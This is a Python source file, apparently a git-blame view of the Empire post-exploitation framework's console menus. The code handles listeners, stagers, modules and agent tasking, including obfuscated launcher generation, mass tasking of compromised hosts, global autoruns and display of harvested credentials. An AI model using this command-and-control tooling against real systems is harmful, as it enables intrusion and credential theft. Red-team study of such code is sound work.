2016-09-23 18:04:35 +00:00
def do_creds ( self , line ) :
" Display/return credentials from the database. "
self . mainMenu . do_creds ( line )
2017-01-16 16:31:34 +00:00
def complete_loadpymodule ( self , text , line , begidx , endidx ) :
" Tab-complete a zip file path "
return helpers . complete_path ( text , line )
def complete_pythonscript ( self , text , line , begidx , endidx ) :
" Tab-complete a zip file path "
return helpers . complete_path ( text , line )
2016-09-23 18:04:35 +00:00
def complete_usemodule ( self , text , line , begidx , endidx ) :
" Tab-complete an Empire Python module path "
return self . mainMenu . complete_usemodule ( text , line , begidx , endidx , language = ' python ' )
def complete_upload ( self , text , line , begidx , endidx ) :
" Tab-complete an upload file path "
return helpers . complete_path ( text , line )
# def complete_updateprofile(self, text, line, begidx, endidx):
# "Tab-complete an updateprofile path"
# return helpers.complete_path(text,line)
2017-10-13 16:31:35 +00:00
class ListenersMenu ( SubMenu ) :
2016-09-23 18:04:35 +00:00
"""
The main class used by Empire to drive the ' listener ' menu .
"""
def __init__ ( self , mainMenu ) :
2017-10-13 16:31:35 +00:00
SubMenu . __init__ ( self , mainMenu )
2016-09-23 18:04:35 +00:00
self . doc_header = ' Listener Commands '
# set the prompt text
self . prompt = ' (Empire: ' + helpers . color ( ' listeners ' , color = ' blue ' ) + ' ) > '
# display all active listeners on menu startup
messages . display_active_listeners ( self . mainMenu . listeners . activeListeners )
def do_back ( self , line ) :
" Go back to the main menu. "
raise NavMain ( )
def do_list ( self , line ) :
" List all active listeners (or agents). "
if line . lower ( ) . startswith ( ' agents ' ) :
self . mainMenu . do_list ( ' agents ' + str ( ' ' . join ( line . split ( ' ' ) [ 1 : ] ) ) )
elif line . lower ( ) . startswith ( " listeners " ) :
self . mainMenu . do_list ( ' listeners ' + str ( ' ' . join ( line . split ( ' ' ) [ 1 : ] ) ) )
else :
self . mainMenu . do_list ( ' listeners ' + str ( line ) )
def do_kill ( self , line ) :
" Kill one or all active listeners. "
listenerID = line . strip ( )
if listenerID . lower ( ) == ' all ' :
try :
choice = raw_input ( helpers . color ( ' [>] Kill all listeners? [y/N] ' , ' red ' ) )
if choice . lower ( ) != ' ' and choice . lower ( ) [ 0 ] == ' y ' :
self . mainMenu . listeners . kill_listener ( ' all ' )
except KeyboardInterrupt :
print ' '
else :
self . mainMenu . listeners . kill_listener ( listenerID )
def do_usestager ( self , line ) :
" Use an Empire stager. "
parts = line . split ( ' ' )
if parts [ 0 ] not in self . mainMenu . stagers . stagers :
print helpers . color ( " [!] Error: invalid stager module " )
2015-08-05 18:36:39 +00:00
elif len ( parts ) == 1 :
2016-07-21 01:28:27 +00:00
stager_menu = StagerMenu ( self . mainMenu , parts [ 0 ] )
stager_menu . cmdloop ( )
2015-08-05 18:36:39 +00:00
elif len ( parts ) == 2 :
listener = parts [ 1 ]
if not self . mainMenu . listeners . is_listener_valid ( listener ) :
print helpers . color ( " [!] Please enter a valid listener name or ID " )
else :
self . mainMenu . stagers . set_stager_option ( ' Listener ' , listener )
2016-07-21 01:28:27 +00:00
stager_menu = StagerMenu ( self . mainMenu , parts [ 0 ] )
stager_menu . cmdloop ( )
2015-08-05 18:36:39 +00:00
else :
print helpers . color ( " [!] Error in ListenerMenu ' s do_userstager() " )
2016-09-23 18:04:35 +00:00
def do_uselistener ( self , line ) :
" Use an Empire listener module. "
parts = line . split ( ' ' )
if parts [ 0 ] not in self . mainMenu . listeners . loadedListeners :
print helpers . color ( " [!] Error: invalid listener module " )
else :
listenerMenu = ListenerMenu ( self . mainMenu , parts [ 0 ] )
listenerMenu . cmdloop ( )
def do_info ( self , line ) :
" Display information for the given active listener. "
listenerName = line . strip ( )
if listenerName not in self . mainMenu . listeners . activeListeners :
print helpers . color ( " [!] Invalid listener name " )
else :
messages . display_active_listener ( self . mainMenu . listeners . activeListeners [ listenerName ] )
2015-08-05 18:36:39 +00:00
def do_launcher ( self , line ) :
" Generate an initial launcher for a listener. "
2016-07-21 01:28:27 +00:00
2016-09-23 18:04:35 +00:00
parts = line . strip ( ) . split ( )
if len ( parts ) != 2 :
print helpers . color ( " [!] Please enter ' launcher <language> <listenerName> ' " )
return
2015-08-05 18:36:39 +00:00
else :
2016-09-23 18:04:35 +00:00
language = parts [ 0 ] . lower ( )
listenerName = self . mainMenu . listeners . get_listener_name ( parts [ 1 ] )
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
if listenerName :
try :
# set the listener value for the launcher
stager = self . mainMenu . stagers . stagers [ ' multi/launcher ' ]
stager . options [ ' Listener ' ] [ ' Value ' ] = listenerName
stager . options [ ' Language ' ] [ ' Value ' ] = language
stager . options [ ' Base64 ' ] [ ' Value ' ] = " True "
2017-03-11 23:35:17 +00:00
if self . mainMenu . obfuscate :
stager . options [ ' Obfuscate ' ] [ ' Value ' ] = " True "
else :
stager . options [ ' Obfuscate ' ] [ ' Value ' ] = " False "
2016-09-23 18:04:35 +00:00
print stager . generate ( )
except Exception as e :
print helpers . color ( " [!] Error generating launcher: %s " % ( e ) )
2015-08-05 18:36:39 +00:00
else :
2016-09-23 18:04:35 +00:00
print helpers . color ( " [!] Please enter a valid listenerName " )
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
def complete_usestager ( self , text , line , begidx , endidx ) :
" Tab-complete an Empire stager module path. "
return self . mainMenu . complete_usestager ( text , line , begidx , endidx )
2016-07-21 01:28:27 +00:00
2016-07-15 22:56:38 +00:00
2016-09-23 18:04:35 +00:00
def complete_kill ( self , text , line , begidx , endidx ) :
" Tab-complete listener names "
2016-07-15 22:56:38 +00:00
2016-09-23 18:04:35 +00:00
# get all the listener names
names = self . mainMenu . listeners . activeListeners . keys ( ) + [ " all " ]
mline = line . partition ( ' ' ) [ 2 ]
offs = len ( mline ) - len ( text )
return [ s [ offs : ] for s in names if s . startswith ( mline ) ]
2016-07-15 22:56:38 +00:00
2016-09-23 18:04:35 +00:00
def complete_launcher ( self , text , line , begidx , endidx ) :
" Tab-complete language types and listener names/IDs "
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
languages = [ ' powershell ' , ' python ' ]
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
if line . split ( ' ' ) [ 1 ] . lower ( ) in languages :
# if we already have a language name, tab-complete listener names
2015-08-05 18:36:39 +00:00
listenerNames = self . mainMenu . listeners . get_listener_names ( )
2016-09-23 18:04:35 +00:00
end_line = ' ' . join ( line . split ( ' ' ) [ 1 : ] )
2016-07-21 01:28:27 +00:00
mline = end_line . partition ( ' ' ) [ 2 ]
2015-08-05 18:36:39 +00:00
offs = len ( mline ) - len ( text )
return [ s [ offs : ] for s in listenerNames if s . startswith ( mline ) ]
2016-09-23 18:04:35 +00:00
else :
# otherwise tab-complate the stager names
mline = line . partition ( ' ' ) [ 2 ]
2015-08-05 18:36:39 +00:00
offs = len ( mline ) - len ( text )
2016-09-23 18:04:35 +00:00
return [ s [ offs : ] for s in languages if s . startswith ( mline ) ]
2015-08-05 18:36:39 +00:00
2016-07-21 01:28:27 +00:00
2016-09-23 18:04:35 +00:00
def complete_info ( self , text , line , begidx , endidx ) :
" Tab-complete listener names/IDs "
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
# get all the listener names
names = self . mainMenu . listeners . activeListeners . keys ( )
2015-08-05 18:36:39 +00:00
mline = line . partition ( ' ' ) [ 2 ]
offs = len ( mline ) - len ( text )
2016-09-23 18:04:35 +00:00
return [ s [ offs : ] for s in names if s . startswith ( mline ) ]
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
def complete_uselistener ( self , text , line , begidx , endidx ) :
" Tab-complete an uselistener command "
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
names = self . mainMenu . listeners . loadedListeners . keys ( )
2015-08-05 18:36:39 +00:00
mline = line . partition ( ' ' ) [ 2 ]
offs = len ( mline ) - len ( text )
2016-09-23 18:04:35 +00:00
return [ s [ offs : ] for s in names if s . startswith ( mline ) ]
2015-08-05 18:36:39 +00:00
2017-10-13 16:31:35 +00:00
class ListenerMenu ( SubMenu ) :
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
def __init__ ( self , mainMenu , listenerName ) :
2015-08-05 18:36:39 +00:00
2017-10-13 16:31:35 +00:00
SubMenu . __init__ ( self , mainMenu )
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
if listenerName not in self . mainMenu . listeners . loadedListeners :
print helpers . color ( " [!] Listener ' %s ' not currently valid! " % ( listenerName ) )
raise NavListeners ( )
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
self . doc_header = ' Listener Commands '
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
self . listener = self . mainMenu . listeners . loadedListeners [ listenerName ]
self . listenerName = listenerName
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
# set the text prompt
self . prompt = ' (Empire: ' + helpers . color ( " listeners/ %s " % ( listenerName ) , ' red ' ) + ' ) > '
def do_info ( self , line ) :
" Display listener module options. "
messages . display_listener_module ( self . listener )
def do_execute ( self , line ) :
" Execute the given listener module. "
self . mainMenu . listeners . start_listener ( self . listenerName , self . listener )
def do_launcher ( self , line ) :
" Generate an initial launcher for this listener. "
self . listenerName = self . listener . options [ ' Name ' ] [ ' Value ' ]
parts = line . strip ( ) . split ( )
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
if len ( parts ) != 1 :
print helpers . color ( " [!] Please enter ' launcher <language> ' " )
return
try :
# set the listener value for the launcher
stager = self . mainMenu . stagers . stagers [ ' multi/launcher ' ]
stager . options [ ' Listener ' ] [ ' Value ' ] = self . listenerName
stager . options [ ' Language ' ] [ ' Value ' ] = parts [ 0 ]
stager . options [ ' Base64 ' ] [ ' Value ' ] = " True "
print stager . generate ( )
except Exception as e :
print helpers . color ( " [!] Error generating launcher: %s " % ( e ) )
def do_set ( self , line ) :
" Set a listener option. "
parts = line . split ( )
try :
option = parts [ 0 ]
if option not in self . listener . options :
print helpers . color ( " [!] Invalid option specified. " )
elif len ( parts ) == 1 :
# "set OPTION"
# check if we're setting a switch
if self . listener . options [ option ] [ ' Description ' ] . startswith ( " Switch. " ) :
self . listener . options [ option ] [ ' Value ' ] = " True "
else :
print helpers . color ( " [!] Please specify an option value. " )
else :
# otherwise "set OPTION VALUE"
option = parts [ 0 ]
value = ' ' . join ( parts [ 1 : ] )
if value == ' " " ' or value == " ' ' " :
value = " "
self . mainMenu . listeners . set_listener_option ( self . listenerName , option , value )
except Exception as e :
print helpers . color ( " [!] Error in setting listener option: %s " % ( e ) )
def do_unset ( self , line ) :
" Unset a listener option. "
option = line . split ( ) [ 0 ]
if line . lower ( ) == " all " :
for option in self . listener . options :
self . listener . options [ option ] [ ' Value ' ] = ' '
if option not in self . listener . options :
print helpers . color ( " [!] Invalid option specified. " )
else :
self . listener . options [ option ] [ ' Value ' ] = ' '
def complete_set ( self , text , line , begidx , endidx ) :
" Tab-complete a listener option to set. "
options = self . listener . options . keys ( )
if line . split ( ' ' ) [ 1 ] . lower ( ) . endswith ( ' path ' ) :
return helpers . complete_path ( text , line , arg = True )
elif line . split ( ' ' ) [ 1 ] . lower ( ) . endswith ( ' file ' ) :
return helpers . complete_path ( text , line , arg = True )
elif line . split ( ' ' ) [ 1 ] . lower ( ) . endswith ( ' host ' ) :
return [ helpers . lhost ( ) ]
elif line . split ( ' ' ) [ 1 ] . lower ( ) . endswith ( ' listener ' ) :
listenerNames = self . mainMenu . listeners . get_listener_names ( )
end_line = ' ' . join ( line . split ( ' ' ) [ 1 : ] )
mline = end_line . partition ( ' ' ) [ 2 ]
offs = len ( mline ) - len ( text )
return [ s [ offs : ] for s in listenerNames if s . startswith ( mline ) ]
# otherwise we're tab-completing an option name
2015-08-05 18:36:39 +00:00
mline = line . partition ( ' ' ) [ 2 ]
offs = len ( mline ) - len ( text )
2016-09-23 18:04:35 +00:00
return [ s [ offs : ] for s in options if s . startswith ( mline ) ]
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
def complete_unset ( self , text , line , begidx , endidx ) :
" Tab-complete a module option to unset. "
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
options = self . listener . options . keys ( )
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
mline = line . partition ( ' ' ) [ 2 ]
offs = len ( mline ) - len ( text )
return [ s [ offs : ] for s in options if s . startswith ( mline ) ]
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
def complete_launcher ( self , text , line , begidx , endidx ) :
" Tab-complete language types "
2016-07-15 22:56:38 +00:00
2016-09-23 18:04:35 +00:00
languages = [ ' powershell ' , ' python ' ]
2016-07-15 22:56:38 +00:00
mline = line . partition ( ' ' ) [ 2 ]
offs = len ( mline ) - len ( text )
2016-09-23 18:04:35 +00:00
return [ s [ offs : ] for s in languages if s . startswith ( mline ) ]
2016-07-15 22:56:38 +00:00
2017-10-13 16:31:35 +00:00
class ModuleMenu ( SubMenu ) :
2016-07-21 01:28:27 +00:00
"""
The main class used by Empire to drive the ' module ' menu .
"""
2015-08-05 18:36:39 +00:00
def __init__ ( self , mainMenu , moduleName , agent = None ) :
2016-09-23 18:04:35 +00:00
2017-10-13 16:31:35 +00:00
SubMenu . __init__ ( self , mainMenu )
2015-08-05 18:36:39 +00:00
self . doc_header = ' Module Commands '
2016-09-23 18:04:35 +00:00
try :
# get the current module/name
self . moduleName = moduleName
self . module = self . mainMenu . modules . modules [ moduleName ]
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
# set the prompt text
self . prompt = ' (Empire: ' + helpers . color ( self . moduleName , color = " blue " ) + ' ) > '
# if this menu is being called from an agent menu
if agent and ' Agent ' in self . module . options :
# resolve the agent sessionID to a name, if applicable
agent = self . mainMenu . agents . get_agent_name_db ( agent )
self . module . options [ ' Agent ' ] [ ' Value ' ] = agent
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
except Exception as e :
print helpers . color ( " [!] ModuleMenu() init error: %s " % ( e ) )
2015-08-05 18:36:39 +00:00
2017-10-16 15:55:48 +00:00
def validate_options ( self , prompt ) :
2016-09-23 18:04:35 +00:00
" Ensure all required module options are completed. "
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
# ensure all 'Required=True' options are filled in
2016-07-21 01:28:27 +00:00
for option , values in self . module . options . iteritems ( ) :
2015-08-05 18:36:39 +00:00
if values [ ' Required ' ] and ( ( not values [ ' Value ' ] ) or ( values [ ' Value ' ] == ' ' ) ) :
print helpers . color ( " [!] Error: Required module option missing. " )
return False
2016-09-23 18:04:35 +00:00
# 'Agent' is set for all but external/* modules
if ' Agent ' in self . module . options :
sessionID = self . module . options [ ' Agent ' ] [ ' Value ' ]
try :
# if we're running this module for all agents, skip this validation
if sessionID . lower ( ) != " all " and sessionID . lower ( ) != " autorun " :
moduleLangVersion = float ( self . module . info [ ' MinLanguageVersion ' ] )
agentLangVersion = float ( self . mainMenu . agents . get_language_version_db ( sessionID ) )
# check if the agent/module PowerShell versions are compatible
if moduleLangVersion > agentLangVersion :
print helpers . color ( " [!] Error: module requires language version %s but agent running version %s " % ( moduleLangVersion , agentPSVersion ) )
return False
except Exception as e :
print helpers . color ( " [!] Invalid module or agent language version: %s " % ( e ) )
return False
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
# check if the module needs admin privs
if self . module . info [ ' NeedsAdmin ' ] :
# if we're running this module for all agents, skip this validation
if sessionID . lower ( ) != " all " and sessionID . lower ( ) != " autorun " :
if not self . mainMenu . agents . is_agent_elevated ( sessionID ) :
print helpers . color ( " [!] Error: module needs to run in an elevated context. " )
return False
2015-08-05 18:36:39 +00:00
2017-10-16 15:55:48 +00:00
# if the module isn't opsec safe, prompt before running (unless "execute noprompt" was issued)
if prompt and ( ' OpsecSafe ' in self . module . info ) and ( not self . module . info [ ' OpsecSafe ' ] ) :
2015-08-05 18:36:39 +00:00
try :
choice = raw_input ( helpers . color ( " [>] Module is not opsec safe, run? [y/N] " , " red " ) )
if not ( choice . lower ( ) != " " and choice . lower ( ) [ 0 ] == " y " ) :
return False
2016-07-21 01:28:27 +00:00
except KeyboardInterrupt :
2015-08-05 18:36:39 +00:00
print " "
return False
return True
2015-08-20 23:08:40 +00:00
def do_list ( self , line ) :
" Lists all active agents (or listeners). "
if line . lower ( ) . startswith ( " listeners " ) :
2016-09-23 18:04:35 +00:00
self . mainMenu . do_list ( " listeners " + str ( ' ' . join ( line . split ( ' ' ) [ 1 : ] ) ) )
2015-08-20 23:08:40 +00:00
elif line . lower ( ) . startswith ( " agents " ) :
2016-09-23 18:04:35 +00:00
self . mainMenu . do_list ( " agents " + str ( ' ' . join ( line . split ( ' ' ) [ 1 : ] ) ) )
2015-08-20 23:08:40 +00:00
else :
print helpers . color ( " [!] Please use ' list [agents/listeners] <modifier> ' . " )
2015-08-05 18:36:39 +00:00
def do_reload ( self , line ) :
" Reload the current module. "
print " \n " + helpers . color ( " [*] Reloading module " ) + " \n "
# reload the specific module
self . mainMenu . modules . reload_module ( self . moduleName )
# regrab the reference
self . module = self . mainMenu . modules . modules [ self . moduleName ]
def do_info ( self , line ) :
" Display module options. "
messages . display_module ( self . moduleName , self . module )
def do_options ( self , line ) :
" Display module options. "
messages . display_module ( self . moduleName , self . module )
def do_set ( self , line ) :
" Set a module option. "
2016-07-21 01:28:27 +00:00
2015-08-05 18:36:39 +00:00
parts = line . split ( )
try :
option = parts [ 0 ]
if option not in self . module . options :
2016-07-21 01:28:27 +00:00
print helpers . color ( " [!] Invalid option specified. " )
2015-08-05 18:36:39 +00:00
2016-07-21 01:28:27 +00:00
elif len ( parts ) == 1 :
2015-08-05 18:36:39 +00:00
# "set OPTION"
# check if we're setting a switch
if self . module . options [ option ] [ ' Description ' ] . startswith ( " Switch. " ) :
self . module . options [ option ] [ ' Value ' ] = " True "
else :
print helpers . color ( " [!] Please specify an option value. " )
else :
# otherwise "set OPTION VALUE"
option = parts [ 0 ]
2016-09-23 18:04:35 +00:00
value = ' ' . join ( parts [ 1 : ] )
2016-07-21 01:28:27 +00:00
if value == ' " " ' or value == " ' ' " :
value = " "
2015-08-05 18:36:39 +00:00
self . module . options [ option ] [ ' Value ' ] = value
except :
print helpers . color ( " [!] Error in setting option, likely invalid option name. " )
def do_unset ( self , line ) :
" Unset a module option. "
option = line . split ( ) [ 0 ]
if line . lower ( ) == " all " :
for option in self . module . options :
self . module . options [ option ] [ ' Value ' ] = ' '
if option not in self . module . options :
print helpers . color ( " [!] Invalid option specified. " )
else :
self . module . options [ option ] [ ' Value ' ] = ' '
def do_usemodule ( self , line ) :
" Use an Empire PowerShell module. "
2017-07-03 12:11:00 +00:00
# Strip asterisks added by MainMenu.complete_usemodule()
2017-07-03 11:56:47 +00:00
module = line . strip ( ) . rstrip ( " * " )
2015-08-05 18:36:39 +00:00
if module not in self . mainMenu . modules . modules :
print helpers . color ( " [!] Error: invalid module " )
2016-07-21 01:28:27 +00:00
else :
module_menu = ModuleMenu ( self . mainMenu , line , agent = self . module . options [ ' Agent ' ] [ ' Value ' ] )
module_menu . cmdloop ( )
2015-08-05 18:36:39 +00:00
def do_creds ( self , line ) :
" Display/return credentials from the database. "
self . mainMenu . do_creds ( line )
def do_execute ( self , line ) :
" Execute the given Empire module. "
2017-10-16 15:55:48 +00:00
prompt = True
if line == " noprompt " :
prompt = False
if not self . validate_options ( prompt ) :
2015-08-05 18:36:39 +00:00
return
2016-09-23 18:04:35 +00:00
if self . moduleName . lower ( ) . startswith ( ' external/ ' ) :
# externa/* modules don't include an agent specification, and only have
# an execute() method'
self . module . execute ( )
else :
agentName = self . module . options [ ' Agent ' ] [ ' Value ' ]
2017-03-11 23:35:17 +00:00
moduleData = self . module . generate ( self . mainMenu . obfuscate , self . mainMenu . obfuscateCommand )
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
if not moduleData or moduleData == " " :
print helpers . color ( " [!] Error: module produced an empty script " )
dispatcher . send ( " [!] Error: module produced an empty script " , sender = " Empire " )
return
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
try :
moduleData . decode ( ' ascii ' )
except UnicodeDecodeError :
print helpers . color ( " [!] Error: module source contains non-ascii characters " )
return
2015-11-29 01:24:45 +00:00
2016-09-23 18:04:35 +00:00
# strip all comments from the module
moduleData = helpers . strip_powershell_comments ( moduleData )
taskCommand = " "
# build the appropriate task command and module data blob
if str ( self . module . info [ ' Background ' ] ) . lower ( ) == " true " :
# if this module should be run in the background
extention = self . module . info [ ' OutputExtension ' ]
if extention and extention != " " :
# if this module needs to save its file output to the server
# format- [15 chars of prefix][5 chars extension][data]
saveFilePrefix = self . moduleName . split ( " / " ) [ - 1 ]
moduleData = saveFilePrefix . rjust ( 15 ) + extention . rjust ( 5 ) + moduleData
taskCommand = " TASK_CMD_JOB_SAVE "
else :
taskCommand = " TASK_CMD_JOB "
2015-08-05 18:36:39 +00:00
else :
2016-09-23 18:04:35 +00:00
# if this module is run in the foreground
extention = self . module . info [ ' OutputExtension ' ]
if self . module . info [ ' OutputExtension ' ] and self . module . info [ ' OutputExtension ' ] != " " :
# if this module needs to save its file output to the server
# format- [15 chars of prefix][5 chars extension][data]
saveFilePrefix = self . moduleName . split ( " / " ) [ - 1 ] [ : 15 ]
moduleData = saveFilePrefix . rjust ( 15 ) + extention . rjust ( 5 ) + moduleData
taskCommand = " TASK_CMD_WAIT_SAVE "
else :
taskCommand = " TASK_CMD_WAIT "
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
# if we're running the module on all modules
if agentName . lower ( ) == " all " :
try :
choice = raw_input ( helpers . color ( " [>] Run module on all agents? [y/N] " , " red " ) )
if choice . lower ( ) != " " and choice . lower ( ) [ 0 ] == " y " :
2016-07-21 01:28:27 +00:00
2016-09-23 18:04:35 +00:00
# signal everyone with what we're doing
print helpers . color ( " [*] Tasking all agents to run " + self . moduleName )
dispatcher . send ( " [*] Tasking all agents to run " + self . moduleName , sender = " Empire " )
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
# actually task the agents
for agent in self . mainMenu . agents . get_agents_db ( ) :
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
sessionID = agent [ ' session_id ' ]
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
# set the agent's tasking in the cache
self . mainMenu . agents . add_agent_task_db ( sessionID , taskCommand , moduleData )
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
# update the agent log
# dispatcher.send("[*] Tasked agent "+sessionID+" to run module " + self.moduleName, sender="Empire")
dispatcher . send ( " [*] Tasked agent %s to run module %s " % ( sessionID , self . moduleName ) , sender = " Empire " )
msg = " Tasked agent to run module %s " % ( self . moduleName )
self . mainMenu . agents . save_agent_log ( sessionID , msg )
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
except KeyboardInterrupt :
print " "
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
# set the script to be the global autorun
elif agentName . lower ( ) == " autorun " :
2015-11-22 22:25:28 +00:00
2016-10-06 18:32:33 +00:00
self . mainMenu . agents . set_autoruns_db ( taskCommand , moduleData )
2016-09-23 18:04:35 +00:00
dispatcher . send ( " [*] Set module %s to be global script autorun. " % ( self . moduleName ) , sender = " Empire " )
2015-11-22 22:25:28 +00:00
2015-08-05 18:36:39 +00:00
else :
2016-09-23 18:04:35 +00:00
if not self . mainMenu . agents . is_agent_present ( agentName ) :
print helpers . color ( " [!] Invalid agent name. " )
else :
# set the agent's tasking in the cache
self . mainMenu . agents . add_agent_task_db ( agentName , taskCommand , moduleData )
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
# update the agent log
dispatcher . send ( " [*] Tasked agent %s to run module %s " % ( agentName , self . moduleName ) , sender = " Empire " )
msg = " Tasked agent to run module %s " % ( self . moduleName )
self . mainMenu . agents . save_agent_log ( agentName , msg )
2015-08-05 18:36:39 +00:00
2015-08-20 22:49:23 +00:00
def do_run ( self , line ) :
" Execute the given Empire module. "
self . do_execute ( line )
2016-07-15 22:56:38 +00:00
def do_interact ( self , line ) :
" Interact with a particular agent. "
2016-07-21 01:28:27 +00:00
2016-07-15 22:56:38 +00:00
name = line . strip ( )
if name != " " and self . mainMenu . agents . is_agent_present ( name ) :
# resolve the passed name to a sessionID
2016-09-23 18:04:35 +00:00
sessionID = self . mainMenu . agents . get_agent_id_db ( name )
2016-07-15 22:56:38 +00:00
2016-07-21 01:28:27 +00:00
agent_menu = AgentMenu ( self . mainMenu , sessionID )
2016-07-15 22:56:38 +00:00
else :
print helpers . color ( " [!] Please enter a valid agent name " )
2015-08-05 18:36:39 +00:00
def complete_set ( self , text , line , begidx , endidx ) :
" Tab-complete a module option to set. "
options = self . module . options . keys ( )
2016-09-23 18:04:35 +00:00
if line . split ( ' ' ) [ 1 ] . lower ( ) == " agent " :
2015-08-05 18:36:39 +00:00
# if we're tab-completing "agent", return the agent names
2016-09-23 18:04:35 +00:00
agentNames = self . mainMenu . agents . get_agent_names_db ( ) + [ " all " , " autorun " ]
end_line = ' ' . join ( line . split ( ' ' ) [ 1 : ] )
2016-07-21 01:28:27 +00:00
mline = end_line . partition ( ' ' ) [ 2 ]
2015-08-05 18:36:39 +00:00
offs = len ( mline ) - len ( text )
return [ s [ offs : ] for s in agentNames if s . startswith ( mline ) ]
2016-09-23 18:04:35 +00:00
elif line . split ( ' ' ) [ 1 ] . lower ( ) == " listener " :
2015-08-05 18:36:39 +00:00
# if we're tab-completing a listener name, return all the names
listenerNames = self . mainMenu . listeners . get_listener_names ( )
2016-09-23 18:04:35 +00:00
end_line = ' ' . join ( line . split ( ' ' ) [ 1 : ] )
2016-07-21 01:28:27 +00:00
mline = end_line . partition ( ' ' ) [ 2 ]
2015-08-05 18:36:39 +00:00
offs = len ( mline ) - len ( text )
return [ s [ offs : ] for s in listenerNames if s . startswith ( mline ) ]
2016-09-23 18:04:35 +00:00
elif line . split ( ' ' ) [ 1 ] . lower ( ) . endswith ( " path " ) :
2016-07-21 01:28:27 +00:00
return helpers . complete_path ( text , line , arg = True )
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
elif line . split ( ' ' ) [ 1 ] . lower ( ) . endswith ( " file " ) :
2016-07-21 01:28:27 +00:00
return helpers . complete_path ( text , line , arg = True )
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
elif line . split ( ' ' ) [ 1 ] . lower ( ) . endswith ( " host " ) :
2015-08-05 18:36:39 +00:00
return [ helpers . lhost ( ) ]
2016-12-20 13:45:10 +00:00
2016-09-23 18:04:35 +00:00
elif line . split ( ' ' ) [ 1 ] . lower ( ) . endswith ( " language " ) :
languages = [ ' powershell ' , ' python ' ]
end_line = ' ' . join ( line . split ( ' ' ) [ 1 : ] )
mline = end_line . partition ( ' ' ) [ 2 ]
offs = len ( mline ) - len ( text )
return [ s [ offs : ] for s in languages if s . startswith ( mline ) ]
2015-08-05 18:36:39 +00:00
# otherwise we're tab-completing an option name
mline = line . partition ( ' ' ) [ 2 ]
offs = len ( mline ) - len ( text )
return [ s [ offs : ] for s in options if s . startswith ( mline ) ]
def complete_unset ( self , text , line , begidx , endidx ) :
" Tab-complete a module option to unset. "
options = self . module . options . keys ( ) + [ " all " ]
mline = line . partition ( ' ' ) [ 2 ]
offs = len ( mline ) - len ( text )
return [ s [ offs : ] for s in options if s . startswith ( mline ) ]
def complete_usemodule ( self , text , line , begidx , endidx ) :
" Tab-complete an Empire PowerShell module path. "
return self . mainMenu . complete_usemodule ( text , line , begidx , endidx )
def complete_creds ( self , text , line , begidx , endidx ) :
" Tab-complete ' creds ' commands. "
return self . mainMenu . complete_creds ( text , line , begidx , endidx )
2016-07-15 22:56:38 +00:00
def complete_interact ( self , text , line , begidx , endidx ) :
" Tab-complete an interact command "
2016-09-23 18:04:35 +00:00
names = self . mainMenu . agents . get_agent_names_db ( )
2016-07-15 22:56:38 +00:00
mline = line . partition ( ' ' ) [ 2 ]
offs = len ( mline ) - len ( text )
return [ s [ offs : ] for s in names if s . startswith ( mline ) ]
2015-08-05 18:36:39 +00:00
2017-10-13 16:31:35 +00:00
class StagerMenu ( SubMenu ) :
2016-07-21 01:28:27 +00:00
"""
The main class used by Empire to drive the ' stager ' menu .
"""
2015-08-05 18:36:39 +00:00
def __init__ ( self , mainMenu , stagerName , listener = None ) :
2017-10-13 16:31:35 +00:00
SubMenu . __init__ ( self , mainMenu )
2015-08-05 18:36:39 +00:00
self . doc_header = ' Stager Menu '
# get the current stager name
self . stagerName = stagerName
self . stager = self . mainMenu . stagers . stagers [ stagerName ]
# set the prompt text
2016-07-21 01:28:27 +00:00
self . prompt = ' (Empire: ' + helpers . color ( " stager/ " + self . stagerName , color = " blue " ) + ' ) > '
2015-08-05 18:36:39 +00:00
# if this menu is being called from an listener menu
if listener :
# resolve the listener ID to a name, if applicable
listener = self . mainMenu . listeners . get_listener ( listener )
self . stager . options [ ' Listener ' ] [ ' Value ' ] = listener
def validate_options ( self ) :
" Make sure all required stager options are completed. "
2016-07-21 01:28:27 +00:00
for option , values in self . stager . options . iteritems ( ) :
2015-08-05 18:36:39 +00:00
if values [ ' Required ' ] and ( ( not values [ ' Value ' ] ) or ( values [ ' Value ' ] == ' ' ) ) :
print helpers . color ( " [!] Error: Required stager option missing. " )
return False
listenerName = self . stager . options [ ' Listener ' ] [ ' Value ' ]
2016-03-22 01:50:19 +00:00
if not self . mainMenu . listeners . is_listener_valid ( listenerName ) :
2015-08-05 18:36:39 +00:00
